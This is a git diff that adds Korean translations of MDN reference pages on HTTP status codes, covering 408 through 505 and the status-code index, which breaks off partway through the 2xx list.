--- /dev/null
+++ b/files/ko/web/http/status/408/index.html
@@ -0,0 +1,42 @@
+---
+title: 408 Request Timeout
+slug: Web/HTTP/Status/408
+translation_of: Web/HTTP/Status/408
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HyperText Transfer Protocol (HTTP) <code><strong>408 Request Timeout</strong></code> 응답 상태 코드는 서버가 사용하지 않는 연결을 끊고 싶다는 것을 의미한다. 서버가 클라이언트의 요청 없이도 유휴 상태의 연결에 전송한다.</p>
+
+<p><code>408</code>은 서버가 계속해서 기다리기보다는 연결을 종료하기로 결정했다는 것을 알려주기 때문에, 서버는 응답에 "close" {{HTTPHeader("Connection")}}헤더 필드를 추가해서 전송해야한다.</p>
+
+<p>크롬, 파이어폭스 27+, 그리고 인터넷 익스플로러 9와 같은 브라우저들이 서핑 속도를 높이기 위해 HTTP pre-connection 방식을 사용하기 때문에 이 응답이 더 많이 사용되고 있다.</p>
+
+<div class="note">
+<p><strong>Note: 어떤 서버들은 이 메세지를 전송하지 않고 연결을 종료할 수도 있다</strong>.</p>
+</div>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">408 요청 시간 만료</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "408 Request Timeout" , "6.5.7")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li>{{HTTPHeader("X-DNS-Prefetch-Control")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/409/index.html b/files/ko/web/http/status/409/index.html
new file mode 100644
index 0000000000..84bd9c3af4
--- /dev/null
+++ b/files/ko/web/http/status/409/index.html
@@ -0,0 +1,41 @@
+---
+title: 409 Conflict
+slug: Web/HTTP/Status/409
+translation_of: Web/HTTP/Status/409
+---
+<div>{{HTTPSidebar}}</div>
+
+
+
+
+
+<p>HTTP <code><strong>409 Conflict</strong></code> 응답 상태 코드는 서버의 현재 상태와 요청이 충돌했음을 나타낸다.</p>
+
+<p>충돌은 {{HTTPMethod("PUT")}} 요청에 대응하여 발생할 가능성이 가장 높다. 예를 들어 서버에 이미 있는 파일보다 오래된 파일을 업로드할 때 409 응답이 발생하여 버전 제어 충돌이 발생할 수 있다.</p>
+
+
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">409 Conflict</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "409 Conflict" , "6.5.8")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPMethod("PUT")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/411/index.html b/files/ko/web/http/status/411/index.html
new file mode 100644
index 0000000000..1e3ab50a5c
--- /dev/null
+++ b/files/ko/web/http/status/411/index.html
@@ -0,0 +1,36 @@
+---
+title: 411 Length Required
+slug: Web/HTTP/Status/411
+translation_of: Web/HTTP/Status/411
+---
+<div>HyperText Transfer Protocol (HTTP) 411 Length Required 클라이언트 오류 응답 코드는 서버가 정의된 {{HTTPHeader("Content-Length")}} 헤더 없이 요청을 수락하지 않음을 나타낸다.</div>
+
+<div class="note">
+<p>참고: 사양별로 청크 시리즈로 데이터를 전송할 때 <code>Content-Length</code> 헤더가 생략되며, 각 청크의 시작 부분에서 현재 청크의 길이를 16진수 형식으로 추가해야 한다. 자세한 내용은 {{HTTPHeader("Transfer-Encoding")}}을(를) 참조하십시오.</p>
+</div>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">411 Length Required</pre>
+
+<h2 id="정의">정의</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "411 Length Required" , "6.5.10")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Length")}}</li>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/413/index.html b/files/ko/web/http/status/413/index.html
new file mode 100644
index 0000000000..2e922f4d3b
--- /dev/null
+++ b/files/ko/web/http/status/413/index.html
@@ -0,0 +1,34 @@
+---
+title: 413 Payload Too Large
+slug: Web/HTTP/Status/413
+translation_of: Web/HTTP/Status/413
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>HTTP 413 Payload Too Large 응답 상태 코드는 요청 엔터티가 서버에 의해 정의된 제한보다 크다는 것을 나타낸다. 서버가 연결을 닫거나 헤더 필드({{HTTPHeader("Retry-After")}})를 반환할 수 있다.</div>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">413 Payload Too Large</pre>
+
+<h2 id="정의">정의</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">정의</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/416/index.html b/files/ko/web/http/status/416/index.html
new file mode 100644
index 0000000000..3a2e1145d9
--- /dev/null
+++ b/files/ko/web/http/status/416/index.html
@@ -0,0 +1,51 @@
+---
+title: 416 Range Not Satisfiable
+slug: Web/HTTP/Status/416
+tags:
+ - HTTP
+ - 상태 코드
+ - 클라이언트 에러
+translation_of: Web/HTTP/Status/416
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>하이퍼텍스트 트랜스퍼 프로토콜(HTTP) <code><strong>416 Range Not Satisfiable</strong></code> 에러 응답 코드는 서버가 요청받은 범위에 대해서 서비스 할 수 없음을 알려줍니다. 아마도 이유는 그 문서가 그러한 범위를 지니고 있지 않거나, 또는 {{HTTPHeader("Range")}} 헤더 값이 문법적으로는 옳지만, 이해가 되지 않을 경우 그럴 수 있습니다.</p>
+
+<p>416 응답 메시지는 {{HTTPHeader("Content-Range")}} 를 포함하여 만족할 수 없는 범위(그 경우 <code>'*'</code>) 뒤에 <code>'/'</code>와 현재 리소스를 알려줍니다. 예: <code>Content-Range: */12777</code></p>
+
+<p>이 에러를 마주하면, 브라우저는 보통 명령을 취소하거나 전체 문서를 다시 요청합니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">416 Range Not Satisfiable</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">기술 사양</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7233", "416 Request Not Satisfiable" , "4.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>). </p>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.416")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPStatus(206)}} <code>Partial Content</code></li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/418/index.html b/files/ko/web/http/status/418/index.html
new file mode 100644
index 0000000000..217cca8598
--- /dev/null
+++ b/files/ko/web/http/status/418/index.html
@@ -0,0 +1,45 @@
+---
+title: 418 I'm a teapot
+slug: Web/HTTP/Status/418
+tags:
+ - HTTP
+ - HTTP 상태 코드
+ - Reference
+translation_of: Web/HTTP/Status/418
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>418 I'm a teapot</code></strong> 클라이언트 오류 응답 코드는 서버가 찻주전자이기 때문에 커피 내리기를 거절했다는 것을 의미합니다. 이 오류는 1998년 만우절 농담이었던 하이퍼 텍스트 커피 포트 제어 규약(Hyper Text Coffee Pot Control Protocol)의 레퍼런스입니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">418 I'm a teapot</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td>
+ <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.418")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>위키피디아 <a href="https://en.wikipedia.org/wiki/Hyper_Text_Coffee_Pot_Control_Protocol">Hyper Text Coffee Pot Control Protocol</a></li>
+</ul>
diff --git a/files/ko/web/http/status/422/index.html b/files/ko/web/http/status/422/index.html
new file mode 100644
index 0000000000..95305b6aff
--- /dev/null
+++ b/files/ko/web/http/status/422/index.html
@@ -0,0 +1,40 @@
+---
+title: 422 Unprocessable Entity
+slug: Web/HTTP/Status/422
+tags:
+ - Client error
+ - HTTP
+ - HTTP Status Code
+ - Reference
+ - Status code
+ - WebDAV
+translation_of: Web/HTTP/Status/422
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>이 응답은 서버가 요청을 이해하고 요청 문법도 올바르지만 요청된 지시를 따를 수 없음을 나타냅니다.</p>
+
+<div class="warning">
+<p><strong>중요</strong>: 클라이언트는 요청을 수정하지 않고 동일한 형태로 다시 보내서는 안됩니다.</p>
+</div>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">422 Unprocessable Entity</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("4918", "422 Unprocessable Entity" , "11.2")}}</td>
+ <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/http/status/431/index.html b/files/ko/web/http/status/431/index.html
new file mode 100644
index 0000000000..5b7fb103cb
--- /dev/null
+++ b/files/ko/web/http/status/431/index.html
@@ -0,0 +1,45 @@
+---
+title: 431 Request Header Fields Too Large
+slug: Web/HTTP/Status/431
+translation_of: Web/HTTP/Status/431
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">HTTP <code><strong>431 Request Header Fields Too Large</strong></code> 응답 코드는 <a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a>의 크기가 너무 크기 때문에 처리가 불가능함을 알려준다. 요청 헤더의 크기를 줄인 후, 재요청을 할 수 있다.</span></p>
+
+<p>431는 헤더 전체의 크기가 너무 크거나, 단일 헤더 필드가 너무 클 경우에 사용된다. 이 에러를 받는 유저를 위해 응답 body에 둘 중에 어느 경우인지 명시해줄 수 있다 — 이상적으로, 어느 헤더가 처리 불가능한지 알려주면 좋다. 그러면 쿠키를 삭제하는 것과 같이 유저가 문제를 해결할 수 있도록 도와준다.</p>
+
+<p>서버가 431 상태 코드를 전송할 경우:</p>
+
+<ul>
+ <li>{{ httpheader("Referer") }} URL이 너무 긴 경우</li>
+ <li>요청에 많은 양의 <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> 포함된 경우</li>
+</ul>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">431 Request Header Fields Too Large</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("6585", "431 Request Header Fields Too Large" , "5")}}</td>
+ <td>Additional HTTP Status Codes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus(414, "414 URI Too Long")}}</li>
+ <li>{{Glossary("Request header")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/500/index.html b/files/ko/web/http/status/500/index.html
new file mode 100644
index 0000000000..0e3a70b400
--- /dev/null
+++ b/files/ko/web/http/status/500/index.html
@@ -0,0 +1,41 @@
+---
+title: 500 Internal Server Error
+slug: Web/HTTP/Status/500
+tags:
+ - HTTP
+ - Server error
+ - Status code
+translation_of: Web/HTTP/Status/500
+---
+<div> </div>
+
+<p>하이퍼텍스트 전송 프로토콜 (HTTP) <code><strong>500 Internal Server Error</strong></code> 서버 에러 응답 코드는 요청을 처리하는 과정에서 서버가 예상하지 못한 상황에 놓였다는 것을 나타냅니다.</p>
+
+<p>이 에러 응답은 "서버 에러를 총칭하는"(catch-all) 구체적이지 않은 응답입니다. 종종, 서버 관리자들은 미래에 같은 에러를 발생하는 것을 방지하기 위해 500 상태 코드 같은 에러 응답들에 더 많은 자세한 내용을 남겨 둡니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">500 Internal Server Error</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>아래 보이는 정보는 MDN 의 Github 로부터 가져왔습니다.(<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.500")}}</p>
diff --git a/files/ko/web/http/status/501/index.html b/files/ko/web/http/status/501/index.html
new file mode 100644
index 0000000000..664d619b04
--- /dev/null
+++ b/files/ko/web/http/status/501/index.html
@@ -0,0 +1,48 @@
+---
+title: 501 Not Implemented
+slug: Web/HTTP/Status/501
+translation_of: Web/HTTP/Status/501
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">HyperText Transfer Protocol (HTTP) <code><strong>501 Not Implemented</strong></code> 서버 응답 코드는 <strong>요청을 수행할 수 있는 기능을 서버가 지원하지 않는다</strong>는 것을 의미합니다.요청자에게 서버에서 기능이 지원될 때, 다시 확인해볼 수 있도록 </span>{{HTTPHeader("Retry-After")}} 헤더를 전송해줄 수 있습니다. </p>
+
+<p><code>501</code> 는 서버가 요청 방법을 이해하지 못하거나나 어떤 리소스를 지원하지 않은 경우에 적절합니다. 서버가 필수적으로 지원하는 method에는 {{HTTPMethod("GET")}} 와 {{HTTPMethod("HEAD")}}가 있습니다.</p>
+
+<p>서버가 method를 이해하지 못하지만 고의적으로 지원하지 않는 경우에는 {{HTTPStatus(405, "405 Method Not Allowed")}} 응답이 적합합니다.</p>
+
+<div class="note">
+<ul>
+ <li>501 에러는 유저가 고칠 수 있는 영역이 아니며, 접속하려는 서버측에서의 문제가 있는 것</li>
+ <li>캐슁 헤더의 지시가 있지 않는 이상, 501 응답은 디폴트로 cacheable하다.</li>
+</ul>
+</div>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">501 Not Implemented</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("7231", "501 Not Implemented" , "6.6.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>아래는 MDN Github(<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>)에서 가져온 정보입니다.</p>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("http.status.501")}}</p>
diff --git a/files/ko/web/http/status/502/index.html b/files/ko/web/http/status/502/index.html
new file mode 100644
index 0000000000..44df64b1c4
--- /dev/null
+++ b/files/ko/web/http/status/502/index.html
@@ -0,0 +1,49 @@
+---
+title: 502 Bad Gateway
+slug: Web/HTTP/Status/502
+translation_of: Web/HTTP/Status/502
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HyperText Transfer Protocol (HTTP) <code><strong>502 Bad Gateway</strong></code> 에러 응답코드는, 서버가 게이트웨이나 프록시 서버 역할을 하면서 업스트림 서버로부터 유효하지 않은 응답을 받았다는 것을 가르킨다.</p>
+
+<div class="note">
+<p><strong>Note: </strong>A {{interwiki("wikipedia", "Gateway_(telecommunications)", "Gateway")}} might refer to different things in networking and a 502 error is usually not something you can fix, but requires a fix by the web server or the proxies you are trying to get access through.</p>
+</div>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">502 Bad Gateway
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("http.status.502")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus(504)}}</li>
+ <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></li>
+</ul>
diff --git a/files/ko/web/http/status/503/index.html b/files/ko/web/http/status/503/index.html
new file mode 100644
index 0000000000..3b51dfdf85
--- /dev/null
+++ b/files/ko/web/http/status/503/index.html
@@ -0,0 +1,55 @@
+---
+title: 503 Service Unavailable
+slug: Web/HTTP/Status/503
+tags:
+ - '503'
+ - HTTP
+ - Server error
+ - Status code
+translation_of: Web/HTTP/Status/503
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>하이퍼텍스트 전송 프로토콜 (HTTP) <code><strong>503 Service Unavailable</strong></code> 서버 에러 응답(response) 코드는 서버가 요청(request)을 처리할 준비가 되지 않은 것을 나타낸다.</p>
+
+<p>흔하게는 서버가 점검을 위해 다운되거나 오버로드되어 발생한다. 이 응답(response)은 일시적인 상황를 위해 사용되어야 하며, {{HTTPHeader("Retry-After")}} HTTP header 는 가능하다면 서비스 복구를 위한 예상 시간을 포함해야 한다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 응답(response)과 함께, 이 문제에 대해 설명하는 user-friendly page 가 전달되어야 한다.</p>
+</div>
+
+<p>503 상태는 종종 일시적인 상황이며 응답(response) 들은 일반적으로 캐쉬되지 않아야 하므로,<br>
+ 이 응답(response)과 함께 전달되는 캐싱 관련 헤더들은 주의 깊게 다루어져야 한다.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">503 Service Unavailable</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.503")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/504/index.html b/files/ko/web/http/status/504/index.html
new file mode 100644
index 0000000000..13c65df17c
--- /dev/null
+++ b/files/ko/web/http/status/504/index.html
@@ -0,0 +1,50 @@
+---
+title: 504 Gateway Timeout
+slug: Web/HTTP/Status/504
+translation_of: Web/HTTP/Status/504
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>하이퍼텍스트 전송 프로토콜 (HTTP) <code><strong>504 Gateway Timeout</strong></code> 서버 에러 응답 코드는 서버가<br>
+ 게이트웨이(gateway) 혹은 프록시(proxy)의 역할을 하는 동안 시간 안에 업스트림 서버(upstream server)로부터 요청을 마치기 위해 필요한 응답를 받지 못 했음을 나타냅니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: {{interwiki("wikipedia", "Gateway_(telecommunications)", "Gateway")}} 는 네트워킹에서 다른 것을 가르킬 수 있고 504 에러는 주로 수정할 수 있는 것이 아니지만, 당신이 접근하려고 하는 웹 서버 혹은 프록시의 수정이 필요합니다.</p>
+</div>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">504 Gateway Timeout</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("7231", "504 Gateway Timeout" , "6.6.5")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>아래 보이는 정보는 MDN 의 Github 로부터 가져왔습니다.<br>
+ (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.504")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></li>
+ <li>{{HTTPStatus(502)}}</li>
+</ul>
diff --git a/files/ko/web/http/status/505/index.html b/files/ko/web/http/status/505/index.html
new file mode 100644
index 0000000000..339da3436d
--- /dev/null
+++ b/files/ko/web/http/status/505/index.html
@@ -0,0 +1,33 @@
+---
+title: 505 HTTP Version Not Supported
+slug: Web/HTTP/Status/505
+translation_of: Web/HTTP/Status/505
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>505 HTTP Version Not Supported</strong></code> 응답 코드는 요청에 사용된 HTTP 버전이 서버가 지원하지 않음을 알립니다.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">505 HTTP Version Not Supported</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/index.html b/files/ko/web/http/status/index.html
new file mode 100644
index 0000000000..11992657a3
--- /dev/null
+++ b/files/ko/web/http/status/index.html
@@ -0,0 +1,194 @@
+---
+title: HTTP 상태 코드
+slug: Web/HTTP/Status
+tags:
+ - HTTP
+ - 상태 코드
+translation_of: Web/HTTP/Status
+---
+<div class="boxed translate-rendered text-content">
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP 응답 상태 코드는 특정 HTTP 요청이 성공적으로 완료되었는지 알려줍니다. 응답은 5개의 그룹으로 나누어집니다: 정보를 제공하는 응답, 성공적인 응답, 리다이렉트, 클라이언트 에러, 그리고 서버 에러. 상태 코드는 <a href="https://tools.ietf.org/html/rfc2616#section-10">section 10 of RFC 2616</a>에 정의되어 있습니다.</p>
+
+<h2 id="정보_응답">정보 응답</h2>
+
+<dl>
+ <dt>{{HTTPStatus(100, "100 Continue")}}</dt>
+ <dd>이 임시적인 응답은 지금까지의 상태가 괜찮으며 클라이언트가 계속해서 요청을 하거나 이미 요청을 완료한 경우에는 무시해도 되는 것을 알려줍니다.</dd>
+ <dt>{{HTTPStatus(101, "101 Switching Protocol")}}</dt>
+ <dd>이 코드는 클라이언트가 보낸 {{HTTPHeader("Upgrade")}} 요청 헤더에 대한 응답에 들어가며 서버에서 프로토콜을 변경할 것임을 알려줍니다.</dd>
+ <dt>{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>이 코드는 서버가 요청을 수신하였으며 이를 처리하고 있지만, 아직 제대로 된 응답을 알려줄 수 없음을 알려줍니다.<br>
+  </dd>
+ <dt>{{HTTPStatus(103, "103 Early Hints")}}</dt>
+ <dd>이 상태 코드는 주로 {{HTTPHeader("Link")}} 헤더와 함께 사용되어 서버가 응답을 준비하는 동안 사용자 에이전트가(user agent) 사전 로딩(<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Preloading_content">preloading</a>)을 시작할 수 있도록 한다.</dd>
+</dl>
+
+<h2 id="성공_응답">성공 응답</h2>
+
+<dl>
+ <dt>{{HTTPStatus(200, "200 OK")}}</dt>
+ <dd>요청이 성공적으로 되었습니다. 성공의 의미는 HTTP 메소드에 따라 달라집니다:<br>
+ GET: 리소스를 불러와서 메시지 바디에 전송되었습니다.<br>
+ HEAD: 개체 해더가 메시지 바디에 있습니다.<br>
+ PUT 또는 POST: 수행 결과에 대한 리소스가 메시지 바디에 전송되었습니다.<br>
+ TRACE: 메시지 바디는 서버에서 수신한 요청 메시지를 포함하고 있습니다.<br>
+  </dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPStatus(201, "201 Created")}}</dt>
+ <dd>요청이 성공적이었으며 그 결과로 새로운 리소스가 생성되었습니다. 이 응답은 일반적으로 POST 요청 또는 일부 PUT 요청 이후에 따라옵니다.</dd>
+ <dt>{{HTTPStatus(202, "202 Accepted")}}</dt>
+ <dd>요청을 수신하였지만 그에 응하여 행동할 수 없습니다. 이 응답은 요청 처리에 대한 결과를 이후에 HTTP로 비동기 응답을 보내는 것에 대해서 명확하게 명시하지 않습니다. 이것은 다른 프로세스에서 처리 또는 서버가 요청을 다루고 있거나 배치 프로세스를 하고 있는 경우를 위해 만들어졌습니다.</dd>
+ <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}}</dt>
+ <dd>이 응답 코드는 돌려받은 메타 정보 세트가 오리진 서버의 것과 일치하지 않지만 로컬이나 서드 파티 복사본에서 모아졌음을 의미합니다. 이러한 조건에서는 이 응답이 아니라 200 OK 응답을 반드시 우선됩니다.</dd>
+ <dt>{{HTTPStatus(204, "204 No Content")}}</dt>
+ <dd>요청에 대해서 보내줄 수 있는 콘텐츠가 없지만, 헤더는 의미있을 수 있습니다. 사용자-에이전트는 리소스가 캐시된 헤더를 새로운 것으로 업데이트 할 수 있습니다.</dd>
+ <dt>{{HTTPStatus(205, "205 Reset Content")}}</dt>
+ <dd>이 응답 코드는 요청을 완수한 이후에 사용자 에이전트에게 이 요청을 보낸 문서 뷰를 리셋하라고 알려줍니다.</dd>
+ <dt>{{HTTPStatus(206, "206 Partial Content")}}</dt>
